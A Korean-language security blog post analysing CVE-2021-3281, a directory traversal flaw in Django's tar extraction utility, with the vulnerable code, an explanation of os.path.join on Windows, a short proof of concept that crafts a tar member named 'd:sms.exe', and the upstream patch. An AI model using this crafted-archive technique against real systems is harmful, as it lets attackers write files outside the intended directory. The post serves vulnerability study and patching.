본문 바로가기
Hack/Web

Django 1-Day Directory Traversal 취약점, CVE-2021-3281

by Becoming a Hacker 2022. 10. 3.
반응형

취약 환경

Djagno 2.2 ~ 2.2.18

Django 3.0 ~ 3.0.12

Dajngo 3.1 ~ 3.1.6

 

취약점 분석

해당 취약점은 django.utils의 archive 모듈을 이용하여 tar 파일을 압축 해제할 때 경로를 조작할 수 있는 취약점입니다.

 

django.utils.archive.py 파일의 TarArchvie Class 내 Code에서 os.path.join 함수를 사용하여 filname을 정의하고 있기 때문에 해당 취약점이 발생하고 있습니다.

class TarArchive(BaseArchive):
    def __init__(self, file):
        self._archive = tarfile.open(file)
    def list(self, *args, **kwargs):
        self._archive.list(*args, **kwargs)
    def extract(self, to_path):
        members = self._archive.getmembers()
        leading = self.has_leading_dir(x.name for x in members)
        for member in members:
            name = member.name
            if leading:
                name = self.split_leading_dir(name)[1]
            filename = os.path.join(to_path, name) # 취약 포인트
            if member.isdir():
                if filename:
                    os.makedirs(filename, exist_ok=True)

 

os.path.join 함수가 취약한 이유는 인자 문자열 중 디렉터리 구문이 포함될 경우 해당 구문 앞에 위치한 문자열은 생략하고 뒤에 위치한 문자열만 반환하기 때문입니다.

Windows

>>> import os
>>> os.path.join("aa","bb","cc")
'aa\\bb\\cc'
>>> os.path.join("aa","/bb","cc")
'/bb\\cc'
>>> os.path.join("aa","\\bb","cc")
'\\bb\\cc'
>>> os.path.join("aa","c:\\bb","cc")
'c:\\bb\\cc'
>>> os.path.join("aa","c:/bb","cc")
'c:/bb\\cc'
>>> os.path.join("aa","c:bb","cc")
'c:bb\\cc'

 

이를 통하여 아래와 같이 구성된 tar 파일을 압축해제할 경우, 공격자가 의도한 대로 "d://" 위치에 "sms.exe" 파일을 해제할 수 있습니다.

파일 구조(c.tar) : sms > sms.exe

취약 파일

 

PoC

1. 취약 버전의 Django 설치

pip install django==3.1.5

 

2. PoC 파일 생성

$ mkdir sms
$ touch sms/d:sms.exe
$ tar -cf c.tar sms

 

3. 취약 함수 실행

from django.utils import archive
archive.extract('c.tar', '.')

 

4. 결과

실행 결과

 

패치 내역

해당 취약점의 경우 파일 명의 인자를 검증하는 함수를 추가하는 것으로 패치되었습니다.

def target_filename(self, to_path, name):
        target_path = os.path.abspath(to_path)
        filename = os.path.abspath(os.path.join(target_path, name))
        if not filename.startswith(target_path):
            raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
        return filename
...
filename = self.target_filename(to_path, name)
반응형

댓글